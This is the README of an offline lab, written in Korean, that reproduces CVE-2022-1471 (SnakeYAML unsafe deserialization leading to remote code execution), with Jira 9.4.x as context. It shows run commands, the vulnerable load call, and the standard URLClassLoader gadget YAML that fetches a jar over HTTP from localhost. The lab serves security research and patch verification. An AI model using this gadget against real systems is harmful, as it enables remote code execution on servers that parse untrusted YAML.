
오프라인 CVE-2022-1471 랩: SnakeYAML의 안전하지 않은 역직렬화를 통한 RCE; 무해한 로컬 페이로드를 사용해 취약한 1.x와 수정된 2.x를 비교합니다.
CVE-2022-1471(SnakeYAML 안전하지 않은 역직렬화 → RCE, CVSS 9.8)의 메커니즘을 입증하는 오프라인 자체 포함형 랩으로, Jira / Jira Service Management에서 9.4.9를 실행 중인 호스트를 대상으로 한 발견 사항에 사용된 방식입니다(영향 범위 9.4.0–9.4.12, 9.4.14에서 수정됨 — Atlassian JSDSERVER-14906 참조).
이 랩은 정확히 두 가지를 시연합니다:
ConstructorException). 아무것도 실행되지 않습니다.이 랩은 실제 호스트를 악용하지 않습니다. 모든 것은 127.0.0.1에서 실행되며, 페이로드(src/Exploit.java)는 무해합니다. 정적 초기화자가 텍스트 파일 하나를 작성할 뿐 그 외에는 아무것도 하지 않습니다.
./run.sh
cat PWNED-proof.txt # on-disk proof of execution (regenerated each run)
PATH에 JDK 17+가 필요합니다(javac, java, jar). tools/ 아래에 번들 JDK가 있으면 대신 사용됩니다. 유일한 네트워크 트래픽은 페이로드 jar를 제공하는 127.0.0.1:8077의 로컬 HTTP 서버이며, 종료 시 함께 종료됩니다.
src/VulnDemo.java는 그저 new Yaml().load(yaml)일 뿐입니다. 취약한 Automation for Jira 버전이 가져온 규칙 YAML에 대해 수행하는 것과 동일한 안전하지 않은 호출입니다. 공격자 YAML은 표준 가젯입니다:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8077/payload.jar"]
]]
]
SnakeYAML 1.x는 허용 목록 없이 임의의 클래스를 인스턴스화합니다 → JVM이 "공격자" 서버에서 클래스를 가져와 로드합니다 → 해당 클래스의 정적 초기화자가 실행됩니다. SnakeYAML 2.x는 기본적으로 SafeConstructor를 사용하며, 이는 전역 태그를 거부합니다.
sample-output-PWNED-proof.txt는 실행 결과 마커 파일의 내용을 보여주고, screenshots/는 두 실행(취약 버전 vs 수정 버전)을 보여줍니다.
승인된 보안 연구입니다. 라이브러리 메커니즘과 수정 경계에 대한 증명일 뿐이며, 어떤 운영 시스템에 대한 익스플로잇도 아닙니다. Jira 벡터를 악용하려면 추가로 인증된 Jira 관리자의 자동화 규칙 가져오기가 필요합니다.